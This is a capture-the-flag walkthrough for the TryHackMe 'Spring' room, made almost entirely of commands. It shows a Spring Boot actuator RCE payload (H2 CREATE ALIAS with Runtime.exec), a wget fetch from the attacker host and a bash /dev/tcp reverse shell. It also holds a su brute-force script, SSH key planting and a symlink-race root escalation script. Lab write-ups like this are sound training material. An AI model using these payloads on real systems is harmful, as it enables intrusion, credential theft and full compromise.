Spring
Room Link: https://tryhackme.com/room/spring
Initial Scan
Kali
nmap -A $VICTIM
Scan all ports
Kali
nmap -sV -sT -O -p 1-65535 $VICTIM
TCP/443 - HTTPS
Kali
gobuster dir -u https://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Kali
subl /etc/hosts
Kali
gobuster dir -u https://spring.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Kali
gobuster dir -u https://spring.thm/sources -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Changed the wordlist
Kali
gobuster dir -u https://spring.thm/sources/new -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt -x php,html,txt -k
GitDumper
Kali
pip install git-dumper
mkdir git
git-dumper https://spring.thm/sources/new/.git/ git/
cd git
git log
grep -r pass *
Kali
git diff 92b433a86a015517f746a3437ba3802be9146722 1a83ec34bf5ab3a89096346c46f6fda2d26da7e6


Initial Shell
Kali #1
tcpdump -i ens5 icmpKali #2
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
reverse.sh
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"Kali #1
python3 -m http.server 81Kali #2
nc -lvnp 1337Download payload
Kali #3
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -kRun payload
Kali #3
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
Get autocomplete
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fgWe found one password within environment variables
Victim
env
Bruteforce su
At this point we have two passwords that are very similar, neither of them are the password for johnsmith to login, the format is PrettyS3cure${keyword}Password123.
PrettyS3cureKeystorePassword123.
PrettyS3cureSpringPassword123.su_brute_force.sh
#!/bin/bash
set -m #enable job control
export TOP_PID=$$ #get the current PID
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT #exit on trap
# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
# something to look at while waiting
function progressbar {
let _progress=(${1}*100/${2}*100)/100
let _done=(${_progress}*4)/10
let _left=40-$_done
_done=$(printf "%${_done}s")
_left=$(printf "%${_left}s")
printf "\rCracking : [${_done// /#}${_left// /-}] ${_progress}%%"
}
function brute() {
keyword=$1 #get the word
password="PrettyS3cure${keyword}Password123." #add it to our format
output=$( ( sleep 0.2s && echo $password ) | script -qc 'su johnsmith -c "id"' /dev/null) # check the password
if [[ $output != *"Authentication failure"* ]]; then #if password was correct
printf "\rCreds Found! johnsmith:$password\n$output\nbye..." #print the password
kill -9 -$(ps -o pgid= $TOP_PID | grep -o '[0-9]*') #kill parent and other jobs
fi
}
wordlist=$1 #get wordlist as parameter
count=$(wc -l $wordlist| grep -o '[0-9]*') #count how many words we have
current=1
while IFS= read -r line #for each line
do
brute $line & #try the password
progressbar ${current} ${count} #update progress bar. TODO:calculate ETA
current=$(( current + 1 )) #increment
done < $wordlist #read the wordlist
wait #wait for active jobsKali
cat /usr/share/wordlists/rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized_words.txtVictim
wget http://$KALI:81/capitalized_words.txt -O /tmp/capitalized_words.txt
wget http://$KALI:81/su_brute_force.sh -O /tmp/su_brute_force.sh
chmod +x su_brute_force.sh
time bash su_brute_force.sh capitalized_words.txt
Victim
su johnsmith
Password: PrettyS3cureAccountPassword123.
Kali
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub Victim
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2vjG2ZoKfoNoEF1ASSVX+M2hwD5g0PmUajFDBoDGrjM63T38/cadEHbJXgH8YS6syNLsf+mnSVeF9yWIeMLjfaeoIWE9UPCmS5OuPC2ZiAf+zTvo7X+OjnQKmHmNsQYJ8lhg24g3Gpw5rWreteGTMfmFPRBDNEX6J3JsNCdhoTjAhyRRRouUM9oMw1Yl4YcRAcK8xPU8ZuE6lk3kqzrrPhaCOafTdHvBKS+Q0Bn/Cq7V0ltBWkaSHIWRc50dMfwFHPR5DlYpuN6cOyIeF2L1LTcyPNmeeD/Na1d1RlRLL3HKNSW02T1z3hUAZTdmgEUvwz726qloHUmd8Hxo0Kq0j root@ip-10-10-228-158" > /home/johnsmith/.ssh/authorized_keysKali
su johnsmith@$VICTIMPrivilege Escalation
Victim
vi /home/johnsmith/tomcatlogs/getroot.shgetroot.sh
#!/bin/bash
#generate ssh key if it does not exists
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
#read public key
pubkey=$(cat ./key.pub)
#send a shutdown request to the spring boot server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k
#get date as epoch format
d=$(date '+%s')
#let's assume 30 seconds is enough to restart the service
for i in {1..30}
do
#create symlinks to /root/.ssh/authorized_keys for 30 seconds
let time=$(( d + i ))
ln -s /root/.ssh/authorized_keys "$time.log"
done
#wait for app to restart
sleep 30s
#send publickey as name to the greating server
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s
#connect as root
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhostVictim
bash getroot.sh
Last updated